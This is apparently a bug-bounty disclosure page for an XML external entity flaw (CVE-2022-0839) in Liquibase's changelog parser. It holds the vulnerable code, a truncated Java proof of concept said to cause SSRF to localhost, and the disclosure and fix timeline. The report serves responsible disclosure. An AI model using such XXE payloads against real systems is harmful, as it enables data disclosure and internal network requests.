Improper Restriction of XML External Entity Reference in liquibase/liquibase

0

Valid Reported on Jan 16th 2022

Description

The XMLChangeLogSAXParser() function makes use of SAXParser generated from a SAXParserFactory with no FEATURE_SECURE_PROCESSING set, allowing for XXE attacks. In https://github.com/liquibase/liquibase/blob/6f3bb08572b2dcec2d8220b10d49ceb64c4d800a/liquibase-core/src/main/java/liquibase/parser/core/xml/XMLChangeLogSAXParser.java#L24-L27

```
public XMLChangeLogSAXParser() {
        saxParserFactory = SAXParserFactory.newInstance();
        saxParserFactory.setValidating(true);
        saxParserFactory.setNamespaceAware(true);
    }
```

Which is used in parseToNode()

```
            XMLReader xmlReader = parser.getXMLReader();
            xmlReader.setEntityResolver(resolver);
            xmlReader.setContentHandler(contentHandler);
            xmlReader.parse(new InputSource(new BomAwareInputStream(inputSt
```

Proof of Concept

Extracted out the key function mentioned above to showcase how it can be exploited.

```
import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import org.xml.sax.HandlerBase;
```

```
import java.io.ByteArrayInputStream;


public class Poc {

    public static void main(String[] args) {
        try {
            String xmlpoc = "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY
            SAXParser saxParser = SAXParserFactory.newInstance().newSAXPars
            saxParser.parse(new ByteArrayInputStream(xmlpoc.getBytes()), ne
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
```

Causes an SSRF to http://127.0.0.1

Impact

This vulnerability is capable of XXE to disclose data/conduct SSRF attacks etc.

Occurrences

XMLChangeLogSAXParser.java L24-L27

CVE
CVE-2022-0839
(Published)

Vulnerability Type
CWE-611: Improper Restriction of XML External Entity Reference

Severity
High (7.3)

Visibility
Public

Status

Fixed

Found by

ready-research

@ready-research

pro

This report was seen 3,561 times.

We are processing your report and will contact the **liquibase** team within 24 hours. 10 months ago

ready-research modified the report 10 months ago

We created a **GitHub Issue** asking the maintainers to create a `SECURITY.md` 10 months ago

We have contacted a member of the **liquibase** team and are waiting to hear back 10 months ago

We have sent a follow up to the **liquibase** team. We will try again in 7 days. 10 months ago

We have sent a second follow up to the **liquibase** team. We will try again in 10 days. 10 months ago

We have sent a third and final follow up to the **liquibase** team. This report is now considered stale. 10 months ago

kataggart 9 months ago Maintainer

@admin I was asked to mark this as Valid and Confirm Fix. We did release a fix in our last release, but we are not unfortunately in the position right now to pay a bug bounty. I wanted to verify with you all that is okay before I approve and confirm. Thanks for your help!

kataggart validated this vulnerability 9 months ago

ready-research has been awarded the disclosure bounty ✅

The fix bounty is now up for grabs

kataggart marked this as fixed in **4.8.0** with commit **33d9d9** 9 months ago

The fix bounty has been dropped ✖

This vulnerability will not receive a CVE ✖

XMLChangeLogSAXParser.java#L24-L27 has been validated ✔

Jamie Slome 9 months ago Admin

@kataggart - we pay for the bounties! We (huntr.dev) sponsor OSS maintainers in fixing vulnerabilities. This support comes directly from our company but also enterprises that depend upon OSS.

So as a maintainer, you won't have to spend a penny to tap into our security community for support + we will even reward you for fixing vulnerabilities. Win-win! 🏆

Sign in to join this conversation